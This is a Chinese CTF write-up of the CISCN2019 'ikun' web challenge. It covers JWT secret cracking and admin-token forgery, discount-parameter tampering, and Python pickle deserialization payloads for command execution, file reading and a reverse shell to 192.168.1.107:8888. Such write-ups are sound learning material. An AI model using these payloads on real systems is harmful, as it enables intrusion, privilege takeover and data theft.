记 [CISCN2019 华北赛区 Day1 Web2]ikun 关于python的反序列化漏洞的思考

复现平台:buuctf

这题很是复杂,我也是研究了整整一天,发出来供诸位参考参考。

 

打开题目,脑海里不自觉的就想到了鸡你太美,为了守护世界上最好kunkun,必须搞出这题。

记 [CISCN2019 华北赛区 Day1 Web2]ikun 关于python的反序列化漏洞的思考_第1张图片

 

打开页面,是一个类似的商城页面,提示

下面是各种等级的B站账号,显然这题是想要我们购买一个lv6的账号,随便翻卡了几页还是没有看见lv6。

我们来抓包看看

可以通过传page的值来跳到指定页。硬找肯定不行,不如我们来研究一下lv6的特点。

查看源码,发现不同等级的账号对应图片都有规律,lv3对应的就是lv3.png,因此我们可以写一个python脚本来搜索lv6到底在哪一页。

import requests
re = requests.session()
url = "http://ecf2b7e3-8f93-4dc4-b7f6-971e2808110c.node3.buuoj.cn/shop?page="
for i in range(0,1000):
    req = re.get(url+str(i))
    if "lv6.png" in req.text:
        print(i)
        break

运行结果为181

我们通过抓包跳转到181页,果然发现了尊贵的lv6

记 [CISCN2019 华北赛区 Day1 Web2]ikun 关于python的反序列化漏洞的思考_第2张图片

打开购买,还没账号哈哈,果断注册一个。这里我尝试注册一个admin账号,可惜行不通。

这个lv6可是一个天价账号,但是不要心慌,抓包看一下。

这个discount对应的折扣的比例,我们将他改的很小,比如0.0000000001,这才配得上尊贵的ikun的身份。

购买成功,但是这才刚刚开始。

记 [CISCN2019 华北赛区 Day1 Web2]ikun 关于python的反序列化漏洞的思考_第3张图片

我们再来分析一下包,看看什么地方代表了我们的身份。

不难发现

有个在线网站 http://jwt.io/,输入刚才的jwt字符串可以得到

记 [CISCN2019 华北赛区 Day1 Web2]ikun 关于python的反序列化漏洞的思考_第4张图片
不难看出username对应我们的用户名,我们只需要将这里改成admin即可,但是我们还不知道他的jwt字符串的加密密码,我们可以使用c-jwt-cracker来破解密码。

https://github.com/brendan-rius/c-jwt-cracker (穷举暴力破解)

如果想用python的话,可以试试这个库https://github.com/mazen160/jwt-pwn ,但是这个库的破解方式是基于字典的,需要自己生成字典,感觉没有上面那个好用。但是这个库是基于PyJwt实现的,相对于c-jwt-cracker 来说支持的算法更多,c-jwt-cracker只能破解HS256算法。

我们解出密码1Kun。

接下来只要修改username为admin 进行加密,得到新的jwt字符串既可。

1.直接在刚才的网页上修改生成即可。

2.这里提供一个python的实现方法,需要PyJwt库。

import jwt

headers = {
    'alg': "HS256",  # 声明所使用的算法
    'typ': "JWT"
}
token ={
    'username': "admin"
}
jwt_token = jwt.encode(token,
                       "1Kun",
                       "HS256",
                       headers
                       ).decode("ascii")
print(jwt_token)

我们将生成的jwt串替换原来的,再次刷新页面。

 

记 [CISCN2019 华北赛区 Day1 Web2]ikun 关于python的反序列化漏洞的思考_第5张图片

点击按钮没反应,我们查看源码

原来有源码泄露,下载下来查看,发现存在Pickle反序列化。(views\Admin文件)

我们可以通过构造类,通过__reduce的魔术方法来实现执行python代码。具体原理在此不做介绍。

第一步我们肯定是需要找到flag的位置,有两种方法来做。

1.通过执行python命令来获取

   我看网上的wp都是通过反射来实现获取flag的位置,但是我觉得没必要这么麻烦,因此也是研究了一天,终于找到了可以输出到页面上的方法。代码如下

#!/usr/bin/python
# -*- coding: utf-8 -*-
import pickle
import urllib
import os
class payload(object):
    def __reduce__(self):
        return (os.listdir,('/',))   

a = pickle.dumps(payload())
###python3需要用下面的写法
###a = pickle.dumps(payload(),protocol=0)
a = urllib.quote(a)
print a

注:

1.这里说一说我踩到的坑,利用os.system('ls')并不会在页面回显ls的查询结果,而是0(表示查询成功)(也就是说os.system并不会return 输出结果,他的结果是通过print输出的,同理,os.popen也是如此,同样不会返回结果)

2.学习了一波大佬的写法return (eval,("__import__('os').popen('ls').read()",)) 这种写法就可以回显所有系统命令的执行结果。给跪了。

通过os.listdir()函数来获取目录下所有文件的名字。这里我们设置起始为根目录。

将序列化的字符串替换become中的参数(点击一键成为大会员按钮,抓包发现有become参数,替换become参数)

记 [CISCN2019 华北赛区 Day1 Web2]ikun 关于python的反序列化漏洞的思考_第6张图片

发现flag.txt

2.通过反射

#python2
import pickle
import urllib
import os
​class exp(object):    
    def __reduce__(self):        
        s="""python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.107",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' """        
        return os.system, (s,)​
e=exp()
poc = pickle.dumps(e)
print urllib.quote(poc)
#目标ip改为服务器ip,端口设置可以任意设置

然后在服务器运行nc -lvp 端口号  即可。

buuctf平台的靶机并不能远程访问,所以在此给出方法,没办法复现。

 

 

获得flag位置后,我们可以通过构造

import pickle
import urllib
class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt').read()",))

a = pickle.dumps(payload())
###python3需要用下面的写法
###a = pickle.dumps(payload(),protocol=0)
print(urllib.quote(a))

成功获取flag

记 [CISCN2019 华北赛区 Day1 Web2]ikun 关于python的反序列化漏洞的思考_第7张图片

通过这一个题目确实学到了许多,没想到python居然和php一样存在反序列化漏洞,学到了学到了。

 

记 [CISCN2019 华北赛区 Day1 Web2]ikun 关于python的反序列化漏洞的思考_第8张图片

你可能感兴趣的:(ctf,web)